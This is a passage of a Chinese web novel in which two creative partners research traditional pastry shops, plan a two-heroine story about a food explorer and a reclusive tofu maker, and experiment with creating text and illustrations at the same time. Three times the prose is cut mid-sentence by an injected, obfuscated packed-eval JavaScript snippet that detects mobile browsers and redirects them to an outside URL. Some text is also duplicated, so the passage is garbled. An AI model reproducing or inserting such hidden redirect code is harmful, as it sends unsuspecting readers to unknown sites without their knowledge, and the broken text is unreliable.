第三家“古法新作”则完全是另一种风格。店铺装修是现代简约风,但融入了传统元素:木质纹理,书法装饰,青瓷器具。糕点本身也是传统与现代的结合:外形是古风,但口味有创新,比如抹茶绿豆糕、玫瑰芝麻饼、酒酿桂花冻。 店主是位三十多岁的女性,曾在国外学习甜品制作,回国后决定用现代方式诠释传统糕点。 “传统不是复制过去,而是用现在的语言讲述过去的故事。”她这样解释自己的理念,“我用传统的制作工艺,但调整口味以适应现代人的偏好;我保留传统的文化意涵,但用现代的设计呈现。” 她展示了制作过程:依然是用石磨磨粉,手工揉面,古法蒸制,但在配料和造型上大胆创新。比如一款“四季糕”,用四种不同颜色的天然食材做成四层,代表四季更迭;一款“墨韵饼”,在糕体中加入可食用的竹炭粉,形成水墨画般的纹理。 霜莉和鸿雁都被这种创新精神打动。这为她们的故事提供了另一种可能:传承不是守旧,而是让传统活在当下,与时代对话。 一天的调研结束后,两人在老街茶馆休息,面前摊开着三家店的糕点,像是一次小型的品鉴会。 “陈记的传统,王婆婆的家常,‘古法新作’的创新。”霜莉总结,“这正好构成了糕点传承的三个维度:技艺的保存,情感的连接,时代的对话。” 鸿雁边吃边画着三种糕点的对比图:“在我的插图中,我可以表现这三种不同的风格:陈记的规整之美,王婆婆的随性之美,‘古法新作’的创新之美。” 她们讨论着如何在故事中融合这些观察。霜莉决定,她的糕点世家故事中会有三代人:祖父坚守传统技艺,母亲连接家庭情感,孙女尝试创新突破。三代人有分歧有冲突,但最终找到各自的传承方式。 “不是谁对谁错,”霜莉构思着,“而是每一代都在用自己理解的方式延续传统。祖父的坚守让技艺不失真,母亲的情感让传统有温度,孙女的创新让传统有未来。” 鸿雁补充:“就像我们今天的调研看到的,这三种方式在今天的社会中都存在,都有价值。真正的传承应该是包容的,多元的,流动的,不是僵化的。” 这个认识让她们的创作有了更深的现实基础。她们不是凭空创造一个糕点世家的故事,而是基于真实的观察和思考,让故事有了现实的回响和文化的深度。 品鉴会变成了创作会。两人在茶馆里讨论着故事大纲,人物设定,情节发展。其他茶客偶尔投来好奇的目光,但两人完全沉浸在创作的世界中。 霜莉写下了故事的开头:“林家糕点铺的招牌已经挂了七十年,但在林晓雅看来,它挂不了多久了。祖父坚持每一道工序都要按古法,母亲坚持每一种口味都要合家人口味,而她自己,刚从国外学成归来,满脑子都是如何让这家老店‘现代化’。” 鸿雁则画下了第一个场景:老店门口,三代人站在一起,但视线朝向不同方向——祖父看着店内,母亲看着街坊,孙女看着街外。一个画面,三种视野,一个家庭的缩影。 傍晚时分,她们离开茶馆,带着满满的笔记、照片和草图,还有半袋子各种糕点——调研的“样本”。 走在回家的路上,霜莉说:“今天的调研让我明白,创作需要扎根现实。即使是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122853|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最古风的故事,也需要有现实的土壤,否则就是空中楼阁。” 鸿雁点头:“我的插图也是。不能只靠想象画古风糕点,要观察真实的糕点质感、颜色、纹理。真实才有力量,观察才有深度。” 这次市场调研不仅为具体的故事收集了素材,更重要的是,让她们对“食味江湖”整个系列的创作方法有了新的认识:研究要扎实,观察要细致,思考要深入,表达要基于理解而非想象。 “我们需要更多的调研。”霜莉计划着,“为‘食味江湖’的每个故事都做相应的实地研究:药膳、茶道、酒文化、宴席礼仪……” “那会是个大工程。”鸿雁说,“但值得。这样创作出来的作品才有厚度,才有真实的质感。” 她们决定,未来的创作流程中,调研要成为必要环节。不仅是资料搜集,更是实地探访、人物访谈、亲身实践。这种深入的准备或许会延长创作周期,但会大大提高作品的质量和深度。 分别前,鸿雁说:“下周三的创作会,我们可以分享今天的调研成果,正式启动糕点世家故事的创作。” “好。”霜莉说,“我会完成详细的大纲和人物小传。” 回到家,霜莉没有立即开始写作。她将今天的笔记整理成文档,将照片分类,将三家糕点铺的观察和思考分别记录。然后,她尝了尝从三家店买来的糕点,仔细品味它们的差异。 陈记的绿豆糕确实最接近“本味”,豆香纯粹,甜度克制,口感细腻。王婆婆的豆沙包馅料饱满,甜度稍高,有家的温暖感。“古法新作”的抹茶绿豆糕最有创意,传统与创新的平衡把握得很好。 这些味觉体验也成为了她创作的一部分。她会在故事中描写这些不同的味道,让它们成为人物性格和关系的隐喻。 睡前,霜莉在日记中写道:“今天的调研让我明白,传承不是单向的传递,而是多向的对话:与过去的对话,与现在的对话,与未来的对话。糕点如此,文化如此,创作如此,友谊也如此。” “而我和鸿雁的合作,本身就是一种传承:我们各自从对方那里学习,又共同创造新的可能。我们调研传统,但用现代的方式表达;我们尊重过去,但面向未来;我们独立创作,但共同成长。” 写到这里,她感到一种深深的满足。创作的路还很长,但每一步都走得扎实;探索的世界还很大,但每个角落都有发现;友谊的旅程还很远,但每个阶段都有成长。 而这一切,始于一次简单的市场调研,一次对传统糕点的探访,一次对真实世界的观察。 明天,她会开始写糕点世家的故事。今天调研中的每个细节,每句对话,每个观察,都会成为故事的养分,让人物鲜活,让世界真实,让情感动人。 而鸿雁的插图,也会基于今天的速写和观察,画出有质感、有温度、有故事的画面。 文字与图像,传统与现代,坚守与创新,个人与家庭,过去与未来……所有这些张力与平衡,都将在这个故事中交织,在这个合作中对话,在这个创作中生长。 而这,就是“食味江湖”的魅力:不仅是一个虚构的世界,更是一面映照现实的镜子;不仅是一次创作的尝试,更是一次文化的探索;不仅是一个项目的完成,更是一段友谊的深化。 调研结束了,但创作刚刚开始。明天,太阳照常升起,糕点照常制作,故事照常书写,友谊照常生长。 一切都在继续,一切都在变化,一切都在传承。 而她们,作为记录者和创造者,有幸参与这个过程,见证这些时刻,书写这些故事。 这,就是创作的意义,也是生活的意义:在寻常中发现不寻常,在传统中发现创新,在过去中发现未来,在自我中发现他者。 而今天,只是这个漫长发现之旅中的一站。前方,还有更多的调研,更多的创作,更多的发现,更多的成长。 霜莉关掉台灯,在黑暗中微笑。明天,她会继续。和鸿雁一起,和“食味江湖”一起,和这个充满味道的世界一起。 继续探索,继续创作,继续生长。 17. 双女主的诞生 霜莉盯着文档标题栏闪烁的光标,已经十分钟了。《云间食肆》的第二个故事,她想要突破单一主角的模式,尝试双女主设定。但这两个女主应该是谁?她们的关系如何?故事的核心冲突是什么? 鸿雁端着两杯茶走进书房,看到霜莉皱眉沉思的样子,轻轻放下茶杯:“又卡住了?” “我想写双女主的故事,”霜莉说,“一个食探和一个隐士厨娘。食探走遍江湖品尝美食,隐士厨娘远离尘嚣精研厨艺。她们相遇,相知,相争,相惜。但具体怎么写,还没想清楚。” 鸿雁在她对面坐下:“为什么想写双女主?” 霜莉思考了一下:“我想探索女性之间更复杂的关系。不是简单的友谊或竞争,而是既有共鸣又有张力,既有理解又有分歧的关系。而且,‘食味江湖’中女性角色相对较少,我想丰富这个世界的女性视角。” “食探和隐士厨娘,”鸿雁重复这两个身份,“这设定本身就很有张力:一个向外探索,一个向内深耕;一个追求广度,一个追求深度;一个接触人群,一个远离人群。” 霜莉点头:“对,就是这种张力。但我不想写她们是对立的,而是互补的。她们从对方身上看到自己缺少的东西,也看到自己坚持的价值。” 鸿雁拿起画笔,在速写本上勾勒两个人物轮廓:“食探应该是什么样子?隐士厨娘又是什么样子?” “食探叫苏寻味。”霜莉开始构想,“年轻,好奇,精力充沛,行走江湖,用味觉记录世界。她有一本‘食游记’,记录各地的美食和故事。她不只品尝,也学习,但学得很杂,很表面。” 鸿雁画下一个背着行囊的女子,手里拿着笔记本,眼神好奇而明亮:“那隐士厨娘呢?” “叶静心。”霜莉继续,“中年,沉静,专注,隐居山林,精研一种特定的烹饪技艺——比如,豆腐的制作。她追求极致的纯粹和深度,对一种食材理解到极致。但她不问世事,甚至有些固执。” 鸿雁画下另一个女子,系着围裙,在简单的厨房里,动作专注而沉稳。两个人物在纸上形成鲜明对比:一个动,一个静;一个外放,一个内敛。 “她们怎么相遇?”鸿雁问。 霜莉思考着:“苏寻味听说了叶静心的豆腐宴传说——一年只做一次,只招待有缘人。她跋涉寻找,终于找到了叶静心的隐居处。但叶静心不愿见她,因为她觉得苏寻味这种‘食探’只是浅尝辄止,不懂得真正品味食物。” “然后呢?” “苏寻味不放弃,在山下住了下来,每天尝试用不同的方法接近叶静心。”霜莉构思情节,“她观察叶静心的生活节奏,学习她的专注;她尝试自己做豆腐,虽然失败了很多次;她记录山林的食材,理解食材与环境的联系。” 鸿雁边听边画下场景:苏寻味在山林间观察,在溪边洗豆,在小屋里尝试做豆腐,失败后沮丧但又重新开始。 “叶静心其实注意到了她。”霜莉继续说,“通过窗子看到她的坚持,通过邻居(如果有的话)听到她的故事,甚至偷偷尝过她失败的作品。她看到了苏寻味身上有自己年轻时的影子——那种对食物的纯粹热情。” “但她也看到了不同。”鸿雁接话,“苏寻味的热情是广泛的,而她的是专注的。这让她既欣赏又担忧。” “对。”霜莉说,“终于有一天,叶静心决定见苏寻味。不是让她品尝豆腐宴,而是给她一个挑战:如果苏寻味能做出让她认可的豆腐,她就接受采访,分享自己的技艺。” 鸿雁眼睛亮了:“这个转折好!不是简单的接纳,而是有条件的考验。这让关系有了层次,也让故事有了推动力。” 两人继续构思。苏寻味接受挑战,但发现自己对豆腐的理解远远不够。她之前的广博知识在深度挑战面前显得无力。她必须慢下来,专注下来,真正理解一种食材,一种技艺。 在这个过程中,叶静心虽然不直接指导,但通过观察和偶尔的暗示,实际上在引导苏寻味。她看到苏寻味的挣扎,也看到她的成长;她看到苏寻味的局限,也看到她的潜力。 “最后,”霜莉说,“苏寻味做出了豆腐。不是完美的,甚至不是很好的,但里面有她的理解,她的努力,她的转变。叶静心品尝后,没有说好或不好,而是说:‘你开始懂了。’” “然后呢?故事结束?” “不。”霜莉摇头,“然后叶静心邀请苏寻味参加当年的豆腐宴。宴席上,叶静心不仅展示了极致的豆腐技艺,还分享了她的哲学:深度不是排斥广度,而是为广度提供根基;专注不是拒绝世界,而是更深刻地理解世界的一部分。” “而苏寻味也分享她的见解:广度不是肤浅,而是为深度提供语境;探索不是散漫,而是在比较中理解差异中的共性和共性中的差异。” 鸿雁被这个构想打动:“这不仅是两个女人的故事,也是两种生活态度、两种学习方式、两种与世界相处方式的对话。” “对。”霜莉说,“最后,她们没有变成一样的人。苏寻味继续她的食探之旅,但带着新的深度;叶静心继续她的隐居生活,但多了对外界的理解。她们保持联系,偶尔相聚,互相学习,各自前行。” 鸿雁画下了最后一个场景:苏寻味背着行囊准备离开,叶静心站在门口送她。两人没有拥抱,没有眼泪,只是平静地对视,然后苏寻味转身走入山林,叶静心回到她的厨房。画面中有离别,但更多的是理解和祝福。 “这个故事很好。”鸿雁放下画笔,“不仅有情节,有冲突,更有思想和情感的深度。双女主的关系复杂而真实,不是简单的二元对立或和谐统一,而是差异中的共鸣,独立中的连接。” 霜莉感到一阵创作的兴奋。这个故事的轮廓已经清晰,人物已经鲜活,接下来就是填充细节,书写具体的场景和对话。 但她也有些担忧:“这是我第一次尝试双女主,而且是这种复杂的关系。我能写好吗?” 鸿雁鼓励她:“你之前的《云间食肆》已经展现了写人物关系的能力。这次只是更复杂一些。而且,你可以慢慢写,多修改,我会一直给你反馈。” 两人决定将这个故事作为“食味江湖”的第二个中篇。霜莉负责文字,鸿雁负责插图,同时鸿雁也会写一篇配套的散文,探讨“深度与广度”在创作和生活中的平衡。 “这其实也是我们的关系写照。”鸿雁突然说,“你在小说创作上追求深度和专注,我在美食记录上追求广度和探索。我们不同,但互补;我们独立,但合作。” 霜莉想了想,确实如此。她的小说虽然题材是古风,但追求的是人物的深度和情感的细腻;鸿雁的创作虽然形式多样,但核心是对世界的广泛好奇和探索。她们的合作,正是深度与广度的对话。 这个认识让霜莉对双女主的故事有了更深的理解。苏寻味和叶静心不仅是虚构人物,也是现实原型的抽象——是她和鸿雁,也是许多创作者、思考者、生活者的两种倾向。 “我想在这个故事中加入一些meta元素。”霜莉说,“让苏寻味的‘食游记’和叶静心的‘豆腐笔记’形成对话,就像我们的文字和图像形成对话;让她们的相遇和相处,隐喻创作中不同倾向的碰撞和融合。” 鸿雁赞同:“这样故事就有了多层意义:表面是美食故事,深层是人生哲学,再深层是创作隐喻。不同读者可以读到不同的层次。” 她们开始具体规划。故事标题定为《豆腐山林》,分为三章:第一章“寻找”,第二章“考验”,第三章“对话”。每章约五千字,配三到四幅插图。 霜莉会先写第一章,鸿雁会根据文字创作插图,同时写配套散文《深度与广度的滋味》。完成后再进入第二章,如此循环,确保文字和图像的紧密配合。 “这次我们要尝试更紧密的合作流程。”霜莉说,“我写完一个场景就发给你,你画完草图就发给我,及时调整,确保一致性。” 鸿雁点头:“而且我们可以定期讨论人物的心理变化,关系的微妙进展。双女主故事最重要的是关系的真实性,这需要我们共同把握。” 计划确定后,两人都感到一种挑战的兴奋。这不仅是霜莉第一次写双女主,也是她们第一次尝试如此紧密的创作同步。如果成功,将为未来的合作树立新模式;如果失败,也会提供宝贵的经验。 傍晚,霜莉开始写《豆腐山林》的开头。她写苏寻味在山林间跋涉,凭着零星的线索寻找传说中的隐士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122854|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨娘。她写山林的静谧,写寻找的艰辛,写苏寻味的好奇与坚持,写她对即将见面的期待与不安。 写作时,她将自己探索“食味江湖”的心情投射到苏寻味身上:那种对未知世界的好奇,对深层理解的渴望,对相遇可能性的期待。 同时,她也将自己写作时的专注投射到叶静心身上:那种对一种技艺、一个人物、一个主题的深入挖掘,那种在专注中获得的宁静和洞见。 两个女主,其实是创作者两个女主,其实是创作者内心的两个面向:探索的冲动和专注的定力。这个故事,是她与自己创作状态的对话。 写到一个段落结束,霜莉停下来,将文字发给鸿雁。不久后,鸿雁发回了第一幅草图:苏寻味在山林小径上行走的背影,行囊简单,步伐坚定,前方是隐约的炊烟。 画面中,鸿雁捕捉了霜莉文字中的那种混合了疲惫与期待的感觉。光线从林木间洒下,形成斑驳的光影,象征着前路的未知和可能。 霜莉回复:“完美。这就是我想象中的苏寻味:不是英雄式的探险家,而是真诚的寻找者。” 鸿雁回复:“继续写,我会跟着你的节奏画。我们这次试试真正的同步创作。” 这种同步创作让霜莉感到新鲜和挑战。她不再是独自完成整个故事再交给鸿雁插图,而是在创作过程中就有持续的视觉反馈和创作对话。这改变了她的写作节奏和思考方式。 她写得更慢,更细致,更注意场景的视觉性和人物的动作细节,因为知道这些会成为鸿雁作画的依据。同时,鸿雁的草图也反过来启发她:某个光影效果,某个姿态细节,某个构图暗示,都可能成为她文字的新方向。 这是一种真正的创作对话:文字催生图像,图像启发文字,循环往复,相互滋养。 深夜,霜莉完成了第一章的初稿。她发给了鸿雁,然后疲惫但满足地靠在椅背上。糯米在她肩头睡着了,发出轻微的呼吸声。 鸿雁很快回复:“读完了。苏寻味的性格很鲜明,寻找的过程也写得很动人。我有了第二章第一幅画的构思:苏寻味第一次尝试做豆腐,手忙脚乱,豆渣撒了一地,但眼神依然专注。” 霜莉微笑:“这正是我想表达的:即使失败,也不失热情;即使笨拙,也不失真诚。” 她们约定明天继续。霜莉会开始写第二章,鸿雁会完成第一章的插图并开始第二章的草图。 关掉电脑前,霜莉在日记中写道:“今天,双女主诞生了。她们不仅是故事人物,也是创作隐喻,是内心对话,是友谊镜像。通过书写她们,我实际上在探索自己的创作之路,理解与鸿雁的合作之谊。” “苏寻味和叶静心,广度与深度,探索与专注,好奇与沉淀,外在世界与内心世界。这些对立统一的张力,构成了创作的丰富性,也构成了生活的复杂性。” “而通过这次同步创作实验,我和鸿雁的关系也进入了新阶段:不仅是分享成果,更是共享过程;不仅是互相反馈,更是共同创作;不仅是友谊支持,更是创作伙伴。” 写到这里,霜莉感到一种深深的感恩。创作之路常有孤独和困惑,但有一个可以如此深入交流、共同探索的伙伴,是难得的幸运。 窗外,城市的灯火在夜色中闪烁。每一盏灯下,都有人在创作,在思考,在生活,在寻找自己的“深度”与“广度”。而她和鸿雁,有幸通过“食味江湖”,记录这些寻找,探索这些张力,讲述这些故事。 明天,故事继续。苏寻味将见到叶静心,将接受挑战,将开始转变。而她和鸿雁,也将继续她们的同步创作实验,继续她们的深度与广度对话,继续她们在“食味江湖”中的共同探索。 双女主诞生了,但她们的旅程刚刚开始。就像霜莉和鸿雁的创作旅程,也刚刚进入新的阶段。 前方,还有更多的故事等待书写,更多的画面等待绘制,更多的探索等待进行,更多的友谊等待深化。 而这一切,始于一个双女主的构想,一次深入的讨论,一份勇敢的尝试,一段坚实的合作。 霜莉关掉台灯,在黑暗中微笑。明天,太阳照常升起,故事照常继续,创作照常进行,友谊照常生长。 而她,准备好了。 18. 插画与文字的对话 周三创作会,霜莉和鸿雁没有像往常那样分享各自一周的进展,而是将整个晚上用来做一个实验:文字与图像的即时对话。 工作台上,左边是霜莉的笔记本电脑,右边是鸿雁的数位板和显示屏。两人并排坐着,面前是《豆腐山林》第三章的创作挑战:苏寻味和叶静心的第一次深入对话场景。 “我们试试不看对方的内容,同时创作这个场景。”鸿雁提议,“你写文字,我画草图,然后同时展示,看看文字和图像如何对话——或者如何错位。” 这个想法让霜莉既紧张又兴奋。之前的合作中,要么是文字先于图像,要么是图像先于文字,总有先后顺序。同时创作,实时对比,将是全新的体验。 她们选定的场景是:苏寻味接受豆腐挑战一周后,第一次做出成型的豆腐(虽然不完美),请叶静心品尝。两人在叶静心简朴的厨房里,窗外是暮色中的山林。 “规则是:一小时内完成,不交流,不偷看,然后同时展示。”鸿雁设定好定时器,“准备好了吗?” 霜莉深吸一口气,打开新文档:“开始吧。” 定时器启动,工作室陷入专注的寂静。只有键盘敲击声和数位笔摩擦声,像是两种不同乐器的合奏,各自独立又隐约呼应。 霜莉闭上眼睛,想象那个场景:厨房里飘着豆香和柴火味,简陋但整洁。苏寻味紧张地端着自己做的豆腐,虽然形状不规整,质地不均匀,但这是她一周来最成功的一次。叶静心平静地接过,用筷子夹起一小块,放入口中,闭上眼睛品尝。 她开始写苏寻味的内心活动:一周的失败和坚持,对叶静心评价的期待和恐惧,对自己选择的怀疑和确信。她写叶静心的细微表情:眉毛的微微挑动,咀嚼节奏的变化,吞咽后的短暂沉默。她写环境的细节:灶火噼啪,暮色渐浓,山林静谧。 同时,鸿雁在数位板上勾勒画面。她没有画人物的面部特写,而是画了两双手:苏寻味年轻但略显粗糙的手捧着粗陶碗,碗里是略显粗糙的豆腐;叶静心年长但稳定的手拿着竹筷,正从碗中夹起一块。背景是模糊的厨房环境,窗外是暮色山林的光影。 她特别注重手的对比:苏寻味的手紧张,指节微微发白;叶静心的手沉稳,动作精准。她注重豆腐的质感:不完美,有气孔,边缘不整齐,但那是真实的、努力的成果。她注重光线:从窗户斜射进来的最后一缕夕阳,照亮豆腐的表面,也照亮两双手的部分区域。 一小时后,定时器响起。两人同时停下手,对视一眼,都有些紧张。 “同时展示?”鸿雁问。 霜莉点头。她们数到三,同时转动屏幕朝向对方。 霜莉看到鸿雁的画:那双捧碗的手和夹豆腐的手,那种紧张与沉稳的对比,那种不完美中的美。画面没有面部表情,但通过手的语言,已经传达了丰富的情感。 鸿雁看到霜莉的文字:那些细腻的内心描写,那些微妙的表情捕捉,那些环境的氛围营造。文字没有直接描述手的动作,但通过心理和环境,已经构建了完整的场景。 两人沉默地阅读和观看了几分钟。然后,几乎同时开口: “你的画抓住了我想表达但没写出来的东西。”霜莉说。 “你的文字补充了我画不出来的内心。”鸿雁说。 她们交换位置,仔细研究对方的作品。霜莉发现,鸿雁的画实际上是她文字的视觉提炼:强调了手的对比,强调了豆腐的不完美,强调了光线的象征性——所有这些,她在文字中都暗示了,但没有如此集中地表现。 鸿雁发现,霜莉的文字实际上是她画面的心理扩展:解释了为什么手会紧张,为什么豆腐不完美却珍贵,为什么暮色中的光线有意义——所有这些,她的画面都展示了,但没有如此深入地阐释。 “这就是文字与图像的对话。”霜莉感慨,“不是重复,不是解释,而是互补,是深化,是从不同维度探索同一个时刻。” 鸿雁点头:“我的画是外在的、瞬间的、视觉的捕捉;你的文字是内在的、持续的、心理的展开。合在一起,才是一个完整的场景体验。” 她们决定,在最终作品中,这个场景将采用这种“对话”形式:左边是霜莉的文字描述,右边是鸿雁的画面呈现。读者可以同时阅读和观看,体验两种媒介的不同表达,然后在自己的脑海中合成完整的理解。 “但我们需要调整一些细节。”霜莉指着画面,“在我的文字中,叶静心是闭着眼睛品尝的,你的画里她的手在动作,但没有表现闭眼。” “我可以加一个小的面部轮廓侧影。”鸿雁立即修改,在画面一角添加了叶静心的侧脸剪影,眼睛闭合,表情专注。 霜莉也调整了文字:“你的画强调了豆腐的不完美,我在文字中应该更突出这一点,不仅仅是质地,还有形状、颜色、气孔等细节。” 她们开始即兴的修改对话:鸿雁根据霜莉的文字调整画面细节,霜莉根据鸿雁的画面调整文字描述。这个过程不是单向的调整,而是双向的对话,相互启发,相互完善。 半小时后,场景的最终版本完成了。文字和图像各自独立,但又紧密呼应;各自完整,但又互相需要。单独看,都能成立;合起来,产生一加一大于二的效果。 “这比我们之前的合作模式更有意思。”鸿雁说,“不是先有文字后有插图,也不是先有插图后有文字,而是同时创作,相互影响,共同演进。” 霜莉点头:“这要求我们更深入地理解对方的创作语言,更敏锐地捕捉对方的创作意图。但也因此,合作更紧密,作品更统一。” 她们决定将这种“即时对话”创作法应用到《豆腐山林》的关键场景中。对于一些次要场景,仍然可以采用传统的先后顺序;但对于人物关系转折、情感高潮、主题呈现的关键场景,则采用这种同步创作模式。 “这就像音乐中的二重奏。”霜莉比喻,“两个声部各自独立,但和谐共鸣;各自有旋律,但共同构成完整的乐曲。” 鸿雁笑了:“那我们的合作就是‘文图二重奏’。文字一个声部,图像一个声部,共同演奏‘食味江湖’这首大曲子。” 这个比喻让两人都感到兴奋。创作不再是一个人的独奏,而是两个人的合奏;不再是一种媒介的单一表达,而是两种媒介的复杂对话。 接下来的创作会,她们实践了这种新方法。霜莉写苏寻味在山林中观察自然的段落时,鸿雁同时画苏寻味蹲在溪边看水中倒影的草图;霜莉写叶静心深夜独自研究豆腐配方的段落时,鸿雁同时画叶静心在油灯下工作的剪影。 每次同时创作后,她们都会对比、讨论、调整。有时文字和图像意外地高度一致,有时会有有趣的差异,但差异往往成为深化作品的契机。 一次,霜莉写苏寻味在失败后的沮丧:“她看着又一次失败的豆腐渣,感到的不是愤怒,而是深切的孤独——这种孤独不是因为没有同伴,而是因为无法与食材对话,无法理解它们沉默的语言。” 同时,鸿雁画了苏寻味蹲在失败的豆腐渣前的背影,但画面中没有表现孤独,而是表现专注:苏寻味用手指沾了一点豆腐渣,放在鼻尖闻,放在舌尖尝,眼神不是沮丧,而是好奇的探究。 对比后,霜莉说:“你的解读和我的不同。我写的是孤独,你画的是专注。” 鸿雁解释:“我认为,即使在失败中,苏寻味的本质仍然是探索者。孤独是表面的,专注是深层的。她在失败中不是退缩,而是更深入地探究原因。” 这个解读让霜莉重新思考人物。她修改了那段文字,保留了孤独感,但加入了专注的层面:“她感到孤独,但这种孤独不是终点,而是起点——它逼她更专注地观察,更仔细地品尝,更耐心地理解。她用手指沾了一点豆腐渣,放在舌尖,闭眼品味那失败中的微妙差异。” 文字调整后,与鸿雁的画面形成了更丰富的对话:文字呈现了从孤独到专注的心理过程,画面捕捉了专注的瞬间表现。两者结合,展现了人物在失败中的成长维度。 这种创作对话不仅提高了作品质量,也深化了两人对人物的理解,对主题的把握,对合作本质的认识。 一个月后,《豆腐山林》完成初稿。霜莉统计发现,采用“即时对话”创作的场景虽然只占全文的三分之一,但却是读者反馈最好的部分。这些场景中,文字和图像的配合达到了新的高度:不是简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122855|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单的图文并茂,而是深层的文图共鸣。 “读者说,这些部分让他们感到文字和图像在‘说话’。”霜莉读着早期读者的反馈,“一个说:‘我读文字时看到画面,看画面时想到文字,两者在我脑海中舞蹈。’另一个说:‘这不是插图配文,这是两种艺术形式的对话,我有幸旁听。’” 这些反馈让两人确信,“即时对话”创作法是成功的。她们决定在未来的“食味江湖”项目中,继续发展和完善这种方法。 “但我们也要注意平衡。”鸿雁提醒,“不是所有场景都适合这种方法。有些需要文字单独展开,有些需要图像单独呈现。关键是根据内容选择形式,而不是固守一种模式。” 霜莉赞同:“就像音乐,不是所有段落都需要二重奏。有独奏,有合奏,有交替,有叠加,根据乐曲的需要灵活安排。” 这个认识让她们的创作方法论更加成熟:既有原则性的创新,也有灵活性的调整;既有实验性的勇气,也有实用性的考量。 在《豆腐山林》的最终版本中,她们精心安排了文字与图像的节奏:开头用鸿雁的全幅插图引入场景,中间用“即时对话”处理关键转折,结尾用霜莉的单独文字收束情感,附录用鸿雁的系列草图展示创作过程。 这种多层次的呈现,让作品不仅是一个故事,也是一次创作实验的记录,一次合作过程的展示,一次艺术形式对话的实践。 发布后,《豆腐山林》获得了超出预期的反响。不仅美食和文学读者喜欢,一些艺术教育工作者也关注到这种“文图对话”的创作模式,邀请她们去分享经验。 “我们无意中开创了一种新的合作创作模式。”霜莉在一次分享会后感慨。 鸿雁微笑:“不是开创,是发现。这种模式可能一直存在,只是我们用自己的方式实践了它,并赋予了它‘即时对话’的名称和理念。” 确实,文字与图像的对话古已有之:中国的文人画,西方的插图本,都是不同形式的文图结合。但霜莉和鸿雁的实践,强调了“同时性”、“对话性”、“互补性”,为这种古老传统注入了现代理解和个人特色。 而这一切,始于一次创作会上的实验,一次同时创作的尝试,一次对比展示的惊喜,一次深入讨论的领悟。 现在,“即时对话”已经成为“寻常”组合的标志性创作方法之一。它不仅产出了更好的作品,也深化了两人的友谊和默契。在同时创作中,她们需要进入高度共鸣的状态:理解同一场景,把握同一情感,表达同一主题,但使用不同的语言。 这种共鸣状态,让她们的合作超越了技术和内容的层面,进入了理解和默契的层面。有时,不需要太多言语,一个眼神,一个手势,就能理解对方的创作意图;有时,不需要详细解释,一段文字,一幅草图,就能激发对方的创作灵感。 这或许就是合作创作的最高境界:各自独立但又高度共鸣,各自表达但又共同追求,各自专业但又相互理解。 而霜莉和鸿雁,通过《豆腐山林》的创作,已经触摸到了这种境界的边缘。前方,还有更长的路要走,更多的实验要尝试,更深的默契要培养,但至少,方向已经明确,方法已经找到,信心已经建立。 文字与图像的对话,还在继续。在“食味江湖”的每一个故事中,在“寻常”组合的每一个项目中,在霜莉和鸿雁的每一次合作中,这种对话都在深化,都在演进,都在创造新的可能。 而今天,只是这个漫长对话中的一章。明天,对话继续;未来,对话永恒。 只要还有故事要讲,还有画面要绘,还有世界要探索,还有友谊要珍惜,这种对话就不会停止。 它已经成为她们创作的一部分,生活的一部分,自我的一部分。 而这,就是文字与图像对话的最终意义:不仅是作品的创造,也是创造者的相互创造;不仅是艺术的表达,也是表达者的相互理解;不仅是合作的实践,也是伙伴的相互成就。 霜莉和鸿雁,在这条路上,继续前行,继续对话,继续创作。 而她们的故事,她们的作品,她们的友谊,都是这场永恒对话的见证,也是这场永恒对话的本身。 19. 小范围分享会 周五晚上,鸿雁的工作室被改造成了一个小小的沙龙空间。原本散乱的工作台被整理干净,上面摆着茶点、水果和打印稿;椅子被摆成半圆形,中间留出展示空间;墙上挂着《豆腐山林》的精选插图,柔和灯光下显得格外温暖。 这是“寻常”组合的第一次小范围分享会,邀请了十二位朋友:有霜莉的编辑和写作圈的朋友,有鸿雁的艺术家和美食爱好者朋友,还有几位对“食味江湖”项目感兴趣的早期读者。 晚上七点,客人们陆续到来。工作室很快充满了低声交谈和愉悦笑声。咪咪和糯米成了意外的迎宾员——咪咪高冷地接受抚摸,糯米则兴奋地在客人间滑翔,引发阵阵惊喜的呼声。 霜莉有些紧张地检查讲稿,虽然她已经熟悉每一个字。鸿雁相对放松,正为客人们倒茶介绍茶点:“这是根据《豆腐山林》中的描述复制的‘山林豆腐’,我调整了配方让它更适口;这是‘寻常’特制茶,混合了桂花、枸杞和少量陈皮。” “你们连茶点都这么讲究?”一位艺术家的朋友惊叹。 鸿雁微笑:“食物是我们创作的一部分,自然也是分享的一部分。” 七点半,分享会正式开始。霜莉和鸿雁站在前面,背后是投影屏幕,上面显示着“寻常|食味江湖·豆腐山林分享会”的字样。 